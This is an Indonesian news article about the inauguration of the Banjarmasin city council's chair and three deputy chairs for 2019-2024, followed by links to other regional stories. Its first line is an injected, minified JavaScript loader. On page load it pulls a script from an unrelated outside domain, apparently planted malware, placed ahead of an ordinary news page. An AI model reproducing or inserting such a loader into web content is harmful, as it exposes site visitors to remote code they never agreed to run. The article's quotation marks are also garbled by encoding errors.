(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Setelah tiga pekan usai dilantiknya 45 anggota DPRD Banjarmasin, empat pimpinan definitif yang terdiri dari satu ketua dan tiga wakil ketua DPRD dilantik pada Rapat Paripurna di Gedung DPRD Kota Banjarmasin, Senin (30/9) sore.
Berdasarkan Surat Keputusan Gubernur Kalsel Nomor 1.88/0779/KUM/2019 tertanggal 25 September 2019, Ketua DPRD Kota Banjarmasin yang terpilih yakni H. Harry Wijaya dari Partai Amanat Nasional (PAN). Sementara, tiga wakil ketua DPRD Kota Banjarmasin yakni HM Yamin HR dari Partai Gerindra, Hj. Ananda dari Partai Golkar dan Tugiatno dari Partai Demokrasi Indonesia Perjuangan (PDIP).
Keempat pimpinan yang baru dilantik ini, secara resmi menjabat sebagai Ketua dan Wakil Ketua DPRD Kota Banjarmasin definitif untuk masa jabatan tahun 2019-2024. Keempat pimpinan sendiri, berasal dari empat partai politik yang diurut berdasarkan perolehan kursi yang didapat di DPRD Kota Banjarmasin.
Kepada Kanalkalimantan.com, Harry Wijaya mengungkapkan, pihaknya segera menggelar rapat paripurna untuk membentuk alat kelengkapan dewan (AKD). “Setelah kita (menggelar) rapat paripurna pelantikan pimpinan definitif DPRD Kota Banjarmasin, kita langsung melaksanakan pembentukan AKD,†kata Harry.
Dijadwalkan, paripurna pembentukan AKD akan digelar pada Selasa (1/10) besok. “Mudah-mudahan besok bisa kita paripurnakan untuk pembentukan AKD, mudah-mudahan teman-teman di DPRD Kota Banjarmasin memiliki tugas dan fungsi yang jelas karena sudah terbentuknya (pimpinan DPRD definitif),†ungkap suami dari Hj. Karmila ini.
Sementara Walikota Banjarmasin H. Ibnu Sina berharap, dengan dilantiknya keempat pimpinan definitif DPRD Kota Banjarmasin ini, menjadi salah satu upaya Pemko Banjarmasin untuk meningkatkan sinergitas dan kolaborasi yang telah dilakukan selama ini.
“Kami berharap dewan juga bisa memaksimalkan fungsi legislasinya, kemudian fungsi budgeting dan fungsi pengawasan. Karena ada hal yang mendesak di hadapan kita yaitu rancangan APBD Tahun 2020,†ucap Ibnu. Dirinya juga menambahkan, dengan terbentuknya pimpinan definitif beserta AKD, diharapkan kinerja antara Pemko Banjarmasin dengan DPRD Kota Banjarmasin dapat saling bersinergi.
Perlu diketahui, usai dilantik pada Senin (9/9) lalu, pimpinan sementara DPRD Kota Banjarmasin dipegang oleh H. Harry Wijaya sebagai Ketua Sementara, dan HM Yamin HR sebagai Wakil Ketua Sementara. (fikri)
KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More
KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
This website uses cookies.